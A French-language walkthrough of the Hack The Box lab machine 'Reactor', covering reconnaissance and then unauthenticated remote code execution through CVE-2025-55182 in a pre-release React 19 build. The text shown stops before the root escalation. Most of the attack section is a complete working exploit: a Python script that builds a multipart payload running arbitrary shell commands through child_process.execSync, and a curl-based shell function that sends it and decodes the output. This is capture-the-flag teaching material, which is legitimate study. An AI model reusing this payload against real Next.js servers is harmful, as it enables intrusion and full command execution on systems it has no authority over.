
Walkthrough complet de la machine Reactor de HTB — exploiter CVE-2025-55182 pour obtenir un shell, puis obtenir root via un débogueur Node.js exposé. Étape par étape avec captures d'écran.
[!CAUTION] Avertissement de spoiler. Ceci est un walkthrough complet avec les flags. Si vous voulez résoudre la machine vous-même, fermez ceci maintenant et revenez quand vous êtes bloqué.
| Champ | Détails |
|---|---|
| Nom | Reactor |
| OS | Ubuntu 24.04 LTS (Noble) |
| Difficulté | Moyenne |
| CVE | CVE-2025-55182 (CVSS 10.0) |
| Ports | 22 (SSH), 3000 (Next.js) |
| Auteur | sonnycroco |
Reactor est centré sur un tableau de bord de surveillance de centrale nucléaire appelé ReactorWatch. La machine repose entièrement sur deux vulnérabilités enchaînées : pas de devinettes, pas de fausses pistes, pas de force brute.
Le chemin : une version pré-release de React 19 expose une faille critique de désérialisation qui donne une exécution de code à distance non authentifiée avec une seule requête HTTP. De là, un port de débogage Node.js tournant en root donne un accès complet au système via un message WebSocket.
Chaîne d'attaque :
Unauthenticated HTTP POST
│
│ CVE-2025-55182 - React RSC multipart deserialization
▼
RCE as node (uid=999)
│
│ Root Node.js process with --inspect exposed on localhost
▼
CDP Runtime.evaluate -> RCE as root (uid=0)
│
├── user.txt ✓
└── root.txt ✓
La première chose à faire sur toute nouvelle machine est de découvrir ce qui écoute. Un scan complet des ports avec détection de services pour ne rien manquer.
nmap -sV -sC -T4 -p- --min-rate 5000 10.129.8.56
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
3000/tcp open http Next.js 15.0.3

Seulement deux ports. SSH est une impasse à ce stade car nous n'avons pas encore d'identifiants. Le port 3000 est la cible. Nmap nous dit déjà qu'il s'agit de Next.js 15.0.3, ce qui est un bon indice.
Avant de jeter des exploits sur quoi que ce soit, je veux connaître la version exacte de tout ce qui tourne. Les en-têtes HTTP ont déjà révélé Next.js, mais la version de React est le détail critique. React 19 est resté longtemps en pré-release et présentait de sérieux problèmes avant la version stable.
Récupération d'un des chunks JavaScript côté client pour vérifier :
curl -s http://10.129.8.56:3000/_next/static/chunks/517-d083b552e04dead1.js \
| grep -oP '[0-9]+\.[0-9]+\.[0-9]+-rc-[a-z0-9-]+'
19.0.0-rc-66855b96-20241106
Ce rc dans la chaîne de version, c'est la preuve flagrante. Il s'agit d'une build release candidate de React 19, pas de la version stable. Les bases CVE le confirment : CVE-2025-55182 affecte exactement cette build. CVSS 10.0.
Pendant que j'y suis, je vérifie les en-têtes pour des indices sur le middleware :
X-Powered-By: Next.js
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Aucun en-tête x-middleware-rewrite nulle part, ce qui signifie qu'aucun middleware Next.js n'est installé. Cela exclut CVE-2025-29927 (le contournement de middleware), une bonne chose à noter pour ne pas perdre de temps dessus.
Ce que nous savons :
experimental.serverActions activé19.0.0-rc, vulnérable à CVE-2025-55182
Les Server Components de React 19 ont introduit les Server Actions, des fonctions côté serveur appelables par le client via une requête HTTP POST avec un en-tête Next-Action. Le parseur de corps multipart qui gère ces requêtes présente une faille critique : il désérialise de manière non sécurisée un type de référence appelé $1:__proto__:then.
En concevant un corps multipart qui affecte _response._prefix à du JavaScript arbitraire, un attaquant fait évaluer ce code sur le serveur. La sortie est ensuite exfiltrée via une exception que Next.js utilise en interne pour les redirections (NEXT_REDIRECT), et se retrouve encodée en URL dans l'en-tête de réponse x-action-redirect.
Tout POST vers n'importe quelle page avec l'en-tête Next-Action déclenche cela. Aucune vérification d'authentification, aucun endpoint spécial. Il suffit d'envoyer la charge utile à / et vous êtes dedans.
Un petit script d'aide Python qui prend une commande shell en entrée, construit la charge utile multipart et l'écrit sur le disque pour que curl l'envoie :
# /tmp/make_rce.py
import sys
cmd = ' '.join(sys.argv[1:])
cmd_esc = cmd.replace("\\", "\\\\").replace("'", "\\'")
payload = (
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="0"\r\n\r\n'
+ ('{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
'"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":'
'"var res=process.mainModule.require(\'child_process\').execSync(\''
+ cmd_esc +
'\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),'
'{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2",'
'"_formData":{"get":"$1:constructor:constructor"}}}').encode('utf-8')
+ b'\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="1"\r\n\r\n'
b'"$@0"\r\n'
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="2"\r\n\r\n'
b'[]\r\n'
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad--'
)
with open('/tmp/rce_payload.bin', 'wb') as f:
f.write(payload)
Pour un rendu pseudo-shell, on enveloppe le tout dans une fonction shell :
rce() {
python3 /tmp/make_rce.py "$*" > /dev/null
curl -s -D /tmp/rh.txt -X POST "http://10.129.8.56:3000/" \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
--data-binary "@/tmp/rce_payload.bin" > /dev/null
grep -oP 'x-action-redirect: /login\?a=\K[^;]+' /tmp/rh.txt \
| python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read().strip()))"
}